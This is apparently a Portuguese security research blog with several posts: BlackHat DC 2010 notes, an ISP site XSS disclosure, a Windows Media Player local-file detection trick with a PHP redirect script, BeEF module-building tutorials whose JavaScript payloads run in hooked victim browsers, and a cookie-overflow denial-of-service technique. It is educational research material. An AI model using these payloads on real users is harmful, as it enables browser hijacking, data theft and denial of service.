Mil perdões pela demora. Mas aí está o vídeo com meus comentários sobre a BlackHat DC 2010, onde falo um pouco sobre a organização do evento e comento palestra por palestra que tive a oportunidade de ver. Fotos em breve!

Dentro de algumas horas embarcarei no aeroporto de guarulhos, com destino ao Hyatt Regency Crystal City, em Arlington, Virginia, EUA, onde nos dias 2 e 3 de fevereiro acontecerão as palestras da Blackhat-DC 2010. Ao andar da viagem, postarei detalhes em meu twitter. Outras informações de minha ida e sobre o evento, neste post.

A tabela com os horários das palestras (incluindo os horários do brasil) pode ser vista clicando aqui. Em vermelho, são as que irei. (Sim, ainda estou na dúvida em uma das palestras no segundo dia. Palestras de qualidade em um mesmo horário, complicado decidir! )

Sigam o evento pelo Falando de Segurança!

Abraços a todos, e até mais!

Fonte: Blackhat.com

O hotel Hyatt Regency Crystal City (Arlington, Virginia, EUA) será, mais uma vez, palco da BlackHat DC, o principal evento da area de segurança da informação, que reune pesquisadores de todo o mundo. Serão dias de treinamentos e palestras que divulgarão o resultado de trabalhos de pesquisas, exibindo novas técnicas, vulnerabilidades e discutindo segurança em diversos pontos de vista. Durante os dias 31 de janeiro e 1 de fevereiro, acontecerão treinamentos diversos e finalmente, nos dias 2 e 3 de fevereiro, as palestras.

Infelizmente, não há edições do evento realizadas no Brasil, e, por tanto, além de termos de arcar com os pesados custos de viagem para vermos tudo de perto, há também o salgado valor de entrada. A super-antecipada (antes de divulgarem os temas das palestras), ficou em torno de $1100 dollars. “Facada” ou não, nós, profissionais da segurança, sempre estaremos de olho nas edições da Blackhat. Não tenho dúvidas de que a qualidade do evento será recompensante.

Os horários das palestras já estão disponíveis no site do evento. A curiosidade é que, no segundo dia, haverá uma série de palestras abordando assuntos relacionados ao Metasploit e sendo finalizado por uma palestra do grande HD Moore (criador do projeto), comentando toda a evolução do mesmo e sobre a aquisição do Metasploit pela Rapid7.

Eu (Gabriel), estarei lá para conferir. A cada palestra enviarei meus comentários no blog, fazendo um resumo do dia pela noite. Este resumo também estará disponível no site Oxenti.com . Ao término do evento, postarei vídeos e fotos capturadas. Também estarei twittando de lá, desde os perdidos momentos em aeroportos até durante as grandes palestras, pelo @gabrielpato . Viajo no dia 31 de janeiro, à noite, chegando lá no início da tarde do dia 1 de fevereiro, e meu retorno será no dia 4 de fevereiro, pelo final da tarde, chegando na manhã do dia 5.

Em breve divulgarei qual das palestras irei, visto que, infelizmente, acontecem 3 simultaneamente.
Por enquanto é só. Se for à Blackhat, avise nos comentários que marcaremos algo por lá!

Fique ligado  ; )

Um “cross-site scripting” e uma série de informações desnecessárias sendo exibidas ao usuário.  Esses foram os dois fatores necessários que fizeram do site de Teste de Velocidade da provedora Ajato\TVA (http://testevelocidade.ajato.com.br), uma ameaça a seus próprios usuários.  Em forma de video-post, mostrei que de forma muito simples, é possível extrair informações como o IP interno e MAC do modem, velocidade do plano de internet e nível de sinal, com pouquissimas linhas de código e sem exigir qualquer interação da vítima, graças ao script do teste de velocidade da Ajato, que expõe sem a menor necessidade tais informações. Confesso que quando as vi pela primeira vez, custei a acreditar.

Se quiser ir direto ao site da prova de conceito (PoC), veja clicando aqui (Obviamente, apenas para usuários Ajato).

Dê seu Feedback via comentários ou tweets! Colabore com a divulgação clicando no botão de RT

Qualquer dúvida, é só gritar.

Até a próxima, pessoal!

Por alguns anos, trabalhei com streaming de áudio e vídeo. Um software que fez parte constante de meu trabalho foi o Windows Media Player. Não posso negar, seu plugin (objeto) para browsers traz uma série de recursos que muitos desconhecem.  Com a excelente documentação disponível na MSDN em mãos, você poderá criar um player dinâmico, tratando playlists, enviando erros durante o streaming ao servidor, anotando banda usada, pacotes perdidos, etc, tudo por JavaScript.

Claro que nem tudo é belo e devo parar meus elogios por aqui. Vocês bem sabem: Mais recursos, mais lugares para uma falha aparecer. E é, apareceu.

Esqueça a principal função de um player. Deixemos pra lá as mp3s ou vídeos que ele deveria tocar. Vamos unir tudo aquilo que o plugin nos oferece e então, no post de hoje, veremos como detectar de arquivos locais do computador do usuário usando o objeto do Windows Media Player para navegadores.

Quando solicitamos ao player embutido no navegador que conecte-se à determinada URL ou arquivo local, uma série de ações ocorrem. O WMP, precisa, por exemplo, conectar-se à url, receber uma playlist, enviar o request pela mídia a ser executada, etc.

Cada etapa do carregamento da mídia pode ser obtida pela propriedade player.openState, que retorna o ID correspondente a ação atual, e a cada mudança de etapa o evento player.OpenStateChange é acionado. Não há nenhuma relação entre os IDs e um mesmo evento pode ser chamado mais de uma vez durante o processo.

Aí então, fica bem simples entender a mágica do funcionamento da detecção. O player terá estados diferentes ao encontrar ou não o arquivo, e, monitorando as mudanças, teremos a informação que desejamos.

O único problema é que o WMP abrirá apenas arquivos que possa interpretar, como mp3, wmv, avi, etc, e, certamente, queremos ter a liberdade de detectar todas as demais extenções.

Quando pedimos para abrir um arquivo que ele não reconheça como mídia, ele perguntará ao usuário se deseja continuar, avisando, ainda, a extenção solicitada. Isso mandaria pro saco nossa detecção, não é mesmo?

É aí que o autor do blog lrv.ch.vu (..que nome, hein?) fez uma descoberta que faz ignorar esta pergunta: Ele percebeu que quando executamos no player uma url HTTP que retorne um redirecionamento para o endereço que queremos testar (como file://boot.ini, por exemplo), o player irá continuar normalmente, sem pedir qualquer interação.

Infelizmente, o post no blog citado não oferece muitos detalhes. Ele não diz, por exemplo, qual o tipo de redirecionamento (301 ou 302) é necessário, e, pra completar, sua página de exemplo, que usa formulários php e jquery, não teve detalhes exibidos. A didática foi pro saco.

Como já estava com a mão na massa e já havia programado alguns testes, resolvi seguir a dica do redirecionamento e dar sequencia. O gringo lá tinha razão. O redirecionamento HTTP “302” (Moved Temporarily) faz o player seguir o caminho sugerido e continuar a execução. Já com o código 301 não tive sucesso.

Já com o redirecionamento feito e a mudança de estado sendo monitorada pelo evento openStateChange, veja, abaixo, como a detecção é feita:

Eventos que ocorrem ao carregar um arquivo inexistente pelo redirecionamento: file://teste.exe

ESTADO: 21
ESTADO: 6
ESTADO: 6
ESTADO: 6

Eventos que ocorrem ao carregar um arquivo existente pelo redirecionamento: file://boot.ini

ESTADO: 21 – Opening a URL with an unknown type.
ESTADO: 6 – Playlist is open.
ESTADO: 8 - A new media item is about to be loaded.
ESTADO: 6 – Playlist is open.
ESTADO: 6 – Playlist is open.

Opa! Olha lá! O openState 8 só ocorre quando o arquivo existe. Temos em mãos o poder de verificar a existência de arquivos locais!

Programei um scanner que, rapidinho, pode verificar uma lista de arquivos e dizer quais existem. O código está limpo e você pode ficar a vontade para ler e aprender. Abaixo, segue o código do arquivo wmp.php chamado, que cria o redirecionamento necessário para a verificação:

<?php
header("HTTP/1.1 302 Moved Temporarily");
header("Location: file:///".$_GET['arquivo']);
?>

Entre já na página de testes que criei, clique aqui! (Internet Explorer, apenas)
Caso queira ver todos os possíveis IDs do openState e suas respectivas descrições, veja este link da MSDN.

Por hoje é só. Se você conferir os posts anteriores, de como criar módulos para BeEF, perceberá que facilmente você pode migrar essa detecção de arquivos locais para um módulo.

Feedbacks são SEMPRE bem vindos. Comente!

Até a próxima!

Continuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o Browser Exploitation Framework, ou BeEF. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, corra para lá, pois o conteúdo de hoje não passa de um complemento.

Nossa tarefa será aumentar a complexidade do módulo adicionando opções configuráveis. Sendo assim, ao contrário do módulo “URL Crawler”, onde bastava apertar o botão para explorar, teremos um formulário com opções que vão definir o que será processado pelo zumbie.

# Módulo: “Iframe Tools”

Ok, eu confesso: Minha criatividade hoje não está em um bom dia. Mas que fique claro: O que vale é passar o conteúdo. Por favor, desconsidere o nome brega.

Nosso módulo terá duas funções:

• Listar todos os iframes disponíveis na página, retornando nome e ID.
• Caso tenha sido especificado um nome ou ID, retornar o código HTML que esta sendo exibido dentro deste iframe.

Obviamente, estas funções poderiam (e, em minha opnião, deveriam) ser divididas em dois módulos. Elas estão juntas aqui para demonstrarmos como trabalhar com opções, e para que possamos aprender mais fugindo dos padrões.

1# Estrutura e o Arquivo de Nome

Conforme expliquei na parte 1, crie a pasta específica para este módulo com o nome de iframe_tools dentro do diretório de módulos da categoria que preferir. Crie, também, o arquivo name.txt contendo apenas Iframe Tools . Até aqui, nada muda .. mas só até aqui.

2# O Payload (JavaScript)

Se lembra do Código JavaScript (payload) que é enviado e executado no navegador do Zumbie? Por padrão, como expliquei, o arquivo usado chama-se template.js. Porém, isto tudo não passa de um modelo, e, desta vez faremos diferente. Para que possamos deixar o código final a ser enviado menor, criaremos um arquivo para cada uma das funções que citei.

Teremos então:

• template-lista.js : Lista e retorna os iframes na página
• template-le.js : Lê o conteúdo do iframe previamente especificado.

O primeiro (template-lista.js) é semelhante ao “URL Crawler”. Basta ler e retornar as informações. Não é necessário verificar configurações previamente estabelecidas, não é mesmo? Então, vamos a ele:

function do_main(){
var iframes = document.getElementsByTagName("iframe");
for ( var i in iframes ) {
if(iframes[i].src) {
retorno = retorno + '\n ID: ' + i + '  SRC:' + iframes[i].src; }
}
}

var retorno = '';
do_main();
return_result(result_id, ((retorno) ? retorno : "Nenhum Iframe encontrado") );

O código é muito simples: Verifica as tags <iframe> que possuam um src já definido (ou seja, que já estão em uma página) e retorna ao BeEF uma relação de IDs e seus respectivos SRCs. Assim será possível definir qual iframe desejamos obter o conteúdo.

Falando em obter conteúdo, eis o simples código que fará esta função. Ele ficará no arquivo template-le.js e, obviamente, requer uma informação que deve ser previamente definida: O ID do elemento Iframe que ele deve retornar o conteúdo. Para isto, devemos usar no lugar desta informação uma palavra-chave que será, depois, substituida pelo valor. Neste caso, usaremos a palavra IFRAME-ID

return_result(result_id, window.frames[IFRAME-ID].document.getElementsByTagName("body")[0].innerHTML);

Atenção:  As palavras que serão substituídas não são variáveis do JavaScript, e sim palavras quaisquer. Nunca use palavras que sejam de uso comúm da linguagem, ou que sejam usadas no script, caso contrário, as demais ocorrências também serão substituídas.

3# A Página de controle do Módulo (index.php)

Ao contrário do último post, que quase não alteramos este arquivo, o teremos agora como foco principal.

Mais do que apenas um formulário de envio, o index.php faz o preparo do código a ser enviado. É ele quem carregará o payload para o envio e fará as mudanças necessárias, como a substituição de palavras-chave por valores definidos.

Lembre-se de que estamos usando dois payloads em um único módulo. É aqui que faremos a verificação de qual payload deve ser usado em cada situação.

No início do arquivo, criamos definições para “chamarmos” nossos payloads (javascript) de forma mais amigável, além de incluir um arquivo exigido pelo BeEF.

<?
// Copyright (c) 2006-2009, Wade Alcorn
// All Rights Reserved
// wade@bindshell.net - http://www.bindshell.net
// Módulo por: Gabriel Lima - www.falandodeseguranca.com
// gabriel(@)falandodeseguranca.com

require_once("../../../include/common.inc.php"); // included for get_b64_file()

// Criamos definições para nossos 2 arquivos de payloads javascript.
DEFINE('JS_FILE_LISTA', './template-lista.js');
DEFINE('JS_FILE_LE', './template-le.js');
?>

Agora trabalharemos com JavaScript. Na função get_b64_code_cb, os dois payloads serão chamados e convertidos para base64. Criaremos uma variável para cada um (b64codelista e b64codele).  No caso da leitura do conteúdo de um iframe, é necessário substituir a palavra-chave IFRAME-ID (que criamos em #2) pelo valor digitado no campo “idiframe” do form de nome “myform”. A função também define qual payload será enviado, verificando se o campo está ou não em branco.

<script>

function get_b64_code_cb() {
// javascript is loaded from a file - it could be hard coded
var b64codelista = '<? echo get_b64_file(JS_FILE_LISTA); ?>';
var b64codele = '<? echo get_b64_file(JS_FILE_LE); ?>';

b64codele = b64replace(b64codele, "IFRAME-ID",document.myform.idiframe.value);

return ((document.myform.idiframe.value) ? b64codele : b64codelista);
}

Element.Methods.set_autorun = function() {
ar.enable('Iframe Tools', get_b64_code_cb());
}

Element.Methods.send_now = function() {
do_send(get_b64_code_cb());
}

// add construct code to DOM
Element.addMethods();

</script>

Finalmente, criamos o formulário, seguindo as especificações usadas no JavaScript para que o campo seja lido.

<div id="module_header">Iframe Tools</div>
Lista ou retorna o HTML de um Iframe.<br><br>
<div id="module_subsection">
<form name="myform">
ID do Iframe: <input type="text" name="idiframe" value=""/> <i>(Em branco: Lista Iframes)</i>
<input type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/>
<input type="button" value=" Send Now " onClick="javascript:send_now()"/>
</form>
</div>

4# Tudo pronto!

Temos tudo pronto e funcionando. Veja, abaixo, nosso módulo em ação:

Sem especificar ID (lista Iframes):

Ao especificar um ID (retorna conteúdo do Iframe):

É isso! Dúvidas e feedback: Envie um comentário neste post ou tweet para @gabrielpato

Até a próxima!

Browser Exploitation Framework, ou BeEF, é uma ferramenta que oferece controle em tempo real a “vítimas” (que se transformarão, na verdade, em “Zumbies”) que navegam em sites vulneráveis a cross-site scripting, contendo o código do framework injetado.

Com o BeEF, você pode visualizar informações diversas de cada Zumbie conectado e os enviar códigos para determinadas funções. Tais códigos vão de simples alertas exibidos em seus navegadores até a Port Scan em hosts remotos ou internos.

Em sua versão 0.4, o potencial do BeEF aumentou com a integração com o Metasploit, através de XMLRPC. Exploits de navegadores, incluindo o utilitário “Browser Autopwn” que procura por versões vulneráveis de plugins e do próprio navegador da vítima, podem ser iniciadas diretamente do BeEF, em poucos clicks.

Não tem segredo: BeEF é uma ferramenta fácil de se usar. Foi programada em PHP e possui uma interface bem amigável. Faça o download em http://www.bindshell.net/tools/beef . Mas lembre-se: Você precisará de um ambiente como Apache + PHP. (Não é necessário banco de dados. Os dados coletados são armazenados em arquivos de texto.)

Mas é claro, o melhor do BeEF é a facilidade da criação de novos modulos, o que nos da a certeza de que é uma ferramenta que, com a ajuda da comunidade, estará cada dia melhor. Então, vamos à primeira parte sobre Criação de Módulos para o BeEF:

1# Os bastidores do BeEF

Ao entrar em um site com o código JavaScript, o navegador da vítima passa a se comunicar constantemente com o BeEF, “informando” que a sessão continua ativa, ou seja, que o Zumbie esta disponível, e verificando se há códigos de módulos a ser executado. Um dos aspectos positivos, é que o código inicial contém apenas o necessário para a comunicação com o servidor. Os códigos das ações dos módulos são enviandos à vítima e executados apenas quando o hacker determinar.

2# As Categorias dos Módulos

Os módulos são organizados por categorias, são elas:

• Standart Modules: Módulos de detecção de plugins e configurações de browser, além de comandos de javascript básicos como alerta, “deface” (reescrever o conteúdo da página), etc.
• Browser Modules: Módulos que exploram vulnerabilidades, como buffer overflow, em navegadores.
• Network Modules: Módulos de detecção, exploração de falhas ou interação com serviços na rede.

3# Os arquivos e a organização de um Módulo

Na pasta /modules/ do BeEF, 3 sub-pastas são encontradas, sendo uma para cada categoria que descrevi acima. Dentro da pasta da categoria, há uma pasta para cada módulo (ex: /modules/standart/alert_dialog para o módulo de alertas).

Já nas pastas de cada módulo, vemos que ele é composto por três arquivos:

• index.php: A página que será exibida dentro do BeEF para controle das ações do módulo.
• name.txt: Um simples arquivo de texto contendo o nome do módulo que será exibido no menu.
• template.js: O código JavaScript que será enviado ao Zumbie.

4# Mão na massa: Construindo nosso módulo.

Para demonstrar os padrões usados na framework pelos arquivos index.php e template.js, nada melhor do que criarmos um simples módulo. Como o nosso módulo de exemplo será para listagem de links (URLs) na página atual, o chamaremos de URL CRAWLER.

4.1# Criando a Pasta

O classifiquei como “Standart”. Vamos, por tanto, criar a pasta /modules/standart/url_crawler/

4.2# Definindo o Nome

Feito isso, é hora de construirmos os arquivos necessários para seu funcionamento. Começaremos pelo mais simples, o name.txt .

Crie um arquivo de texto (txt) de nome name.txt contendo APENAS o nome do módulo, no caso, URL Crawler:

URL Crawler

4.2# Criando o Código JavaScript

Eis a parte principal da história. É aqui que faremos o código que será executado no navegador da vítima. Abaixo, o código comentado para nosso exemplo:

// Função do_main() é o nome padrão usado no BeEF para a função principal do código.
function do_main(){
// Criamos a variável links, que será um Array contendo as tags <a> encontradas no site
var links = document.getElementsByTagName("a");
// Um loop, para que possamos tratar de cada <a> encontrado
for ( var i in links ) {
// Verifica se a tag contém o atributo href (link clicável) e se não é uma chamada javascript:
if(links[i].href && (String(links[i].href).substring(0,11) != "javascript:")) {
// Adiciona a url encontrada na variável retorno
retorno = retorno + '\n' +links[i].href ; }
} }
// Define\Zera a variavel retorno.
var retorno = '';
// Chama função principal
do_main();
// Envia o resultado ao BeEF
return_result(result_id, retorno);

O mais importante a ser notado no exemplo dado, é o uso do return_result(result_id, retorno);. Esta função pertence ao JS injetado pelo BeEF, e o faz retornar uma informação, contendo o ID correto (result_id) para a ação. Em resumo, sempre que você desejar saber de algo da vítima, deverá usar este comando. Se seu objetivo não é coletar informações, você pode usa-lo para se certificar que a vítima já recebeu e executou o código, como por exemplo:

alert("Teste!");
return_result(result_id, "Alerta executado!");

4.3# Criando o formulário de ativação

Neste primeiro módulo de exemplo, nosso formulário de ativação (a página em que o hacker irá acionar o módulo) será simples, pois deve conter apenas a descrição do módulo e dois botões: O de acionar, e o de definir o módulo como AutoRun. O autor do BeEF usou um padrão bem simples em todos os módulos. Nos próximos posts detalharei mais esta parte, criando páginas com maios opções. Por enquanto, basta seguir o modelo:

URL Crawler

Este modulo ira listar todas as URLs de links na pagina.





	

4.4# Ação!

Feito tudo isso, é só ir ao /beef/ui em seu navegador e conferir o novo módulo no menu. As URLs listadas aparecerão no log (parte direita do BeEF) e na página de informações individuais de cada Zumbie.

Por hoje é só, mas mais tutoriais sobre BeEF virão.

Espero que tenham gostado.
Fique de olho!

Abraços!
Gabriel

Depois de meses sem posts, por motivos diversos, eis o Falando de Segurança de volta, agora em novo formato. Ainda sob WordPress, mas com alguns ajustes aqui e alí: Interação com o Twitter, novas formas de feedback, novo tema, novas classificações para os posts e muito mais. A casa foi reorganizada e agora podemos seguir com o conteúdo.

Conteúdo que por sinal, apartir de agora, tera menos foco em notícias e muito mais em research (novos conceitos, teorias, testes, etc) e em desenvolvimento de exploits, módulos para frameworks, práticas de segurança, etc. Tudo isso ainda na área de Web Apps (Aplicações Web).

É isso. Ainda hoje o primeiro post de conteúdo pós-reestréia. Espero que goste. E é claro, grite por aí, retweet, espalhe, participe! O Falando de Segurança é de todos!

… ou: Como fazer com que um pobre usuário não consiga acessar um site específico. No caso deste post, o Twitter.com .

Ok, antes de irmos direto ao assunto, vamos ao conceito.

Quando seu navegador faz uma requisição HTTP, ele envia um cabeçalho contendo uma série de informações. Tal cabeçalho (ou Header) é constituido, entre outras coisas, de seu user-agent, o arquivo a ser chamado, tipo de requisição (get, post, etc), campos de formulários, codificação dos caracteres, tipo de conteúdo, cookies, etc.  Cookies! hmm! Preste atenção nele aí!

Servidores Web costumam ter configurações que especificam quantos bytes serão permitidos no cabeçalho de uma requisição HTTP. Se a soma de todo o header passar dessa quantidade de bytes, ele anula o pedido, retornando erro. No caso do Apache 2.0, o comando que especifica esse valor é o LimitRequestFieldsize, e seu valor-padrão é 8190

Daí a idéia: Se conseguirmos fazer com que um usuário (Lê-se vítima), sempre que acessar um site, esteja com algo em seu header que ultrapasse esse limite, impossibilitariamos o seu acesso. … e esse alvo, são os cookies!

Pra quem não sabe, “Cookie é um grupo de dados trocados entre o navegador e o servidor de páginas, colocado num arquivo de texto criado no computador do utilizador.” (definição da wikipedia em português) .

Tudo bem, mas… como faremos para definir um cookie no navegador da vítima, para aquele site específico?

Sirdarckcat, autor da idéia, descobriu no Google Analytics, sistema de estatísticas para websites da Google usado em diversos sites, a solução. Para tratar suas estatísticas, o Google Analytics utiliza diversos cookies.  Entre eles, os dois abaixo são ideais para o ataque:

1- Cookie para determinar visitante vindo de um site de busca – o “Search result – organic referers”

Nas estatísticas geradas pelo Google Analytics, é possível ver quais termos em sites de buscas o rendeu visita. Segundo Sirdarckcat, é possível “fingir” uma busca no google usando links como:

http://google.seudominio.com/search?q=search-term
Ao passar um termo de busca grande, o mesmo ocupará um bom espaço no header. Porém, ele, sozinho, não quebrará o limite padrão dos web-servers, pois o limite para cada cookie é de 4192 bytes. A solução? Bem… definir mais um cookie!

2- Google Analytics Site Overlay – GASO

Para definir o cookie de nome GASO, basta acessar qualquer página que use o Google Analytics adicionando #gaso=VALOR no final da URL. (ex: http://site.com/pagina.php#gaso=valor-do-cookie)

A junção destes dois cookies usando todo o espaço de 4192 bytes resultará no estouro do limite de espaço para o cabeçalho. O site alvo ficará inacessível até que os cookies sejam excluidos.

Sirdarckcat fez um script para demonstrar esta idéia em ação.

Twitter sem SSL: http://google.sirdarckcat.net/?v=http://twitter.com/

Twitter com SSL: http://google.sirdarckcat.net/?v=https://twitter.com/

… e por falar em Twitter, com o uso frequente de encurtadores de URL, seria fácil que pessoas se tornem vítimas deste tipo de “ataque”, não?

FONTE: http://sirdarckcat.blogspot.com/ e http://httpd.apache.org/docs/2.0/mod/core.html#limitrequestfieldsize

Não. Eu não podia deixar de comentar sobre o caso mais comentado da última semana:  O desafio do StrongWebMail.com .

Trata-se de um novo serviço que garante a segurança de seu login exigindo que você preencha números que o serão informados por telefone. Se é uma excelente idéia ou não, eu não sei.  Só sei que eu não gostaria de ter meu celular tocando a cada vez que fosse conferir minha caixa de entrada. Isso sem contar, é claro, as situações em que o celular não está com você\esta descarregado\fora de área.

Eficiente ou não, a forma com que eles entraram no mercado chamou a a atenção da comunidade de segurança: Propuseram um desafio cujo objetivo era quebrar a segurança do sistema. O prêmio? 10 mil dólares. A empresa estava certamente confiante de que seu produto seguraria a barra… pelo menos por um bom tempo.  Como vocês podem imaginar, falharam.

A tarefa do desafio era ter acesso ao e-mail do CEO da empresa, obtendo sua caixa de entrada e sua lista de tarefas.

Em poucos minutos, Lance James e mais dois hackers, Mike Bailey e Aviv Raff, recrutados por twitter, encontraram uma falha.  Tratava-se de um Cross-site Scripting no campo de Assunto, quando visualizado pelo web-mail.  Segundo Lance, o mais trabalhoso – que levou aproximadamente 6 horas para ficar pronto – foi o exploit (código que seria injetado pela falha). Ele capturava mensagens na caixa de entrada, cookies e a lista de tarefas (“Task lists”, um dos serviços do site), os enviando para um script na web.

Bastava, então, que alguem entrasse naquele e-mail para o exploit funcionar. Para que isso ocorresse, Lance contatou a equipe de suporte notificando que havia obtido acesso à conta do CEO e que os detalhes estavam em sua caixa de entrada. Isso obrigaria a equipe a logar naquela conta, onde havia o XSS aguardando para ser executado.

Minutos depois, os dados já estavam em mãos. No entanto, inicialmente a empresa alegou que o método usado não seria válido por não se tratar de uma falha específica do sistema de autenticação deles, mas, depois de muito repercutir na web, anunciaram o grupo como vencedores e os pagaram a premiação. No mesmo anúncio, porém, alegaram que o sistema deles não foi burlado, pois o “hacker teve de encontrar um meio de evitar a verificação telefonica”, ou seja, o sistema deles ainda é eficiente. Neste ponto, eu concordo, mas não é só no momento de login que a segurança deve ser analisada. E neste aspecto a lição foi muito bem dada. Eles certamente viram que Cross-site Scripting é uma falha séria.

FONTES: Entrevista com Lance James no blog FireBlog (inglês)
Twitter: @XssExploits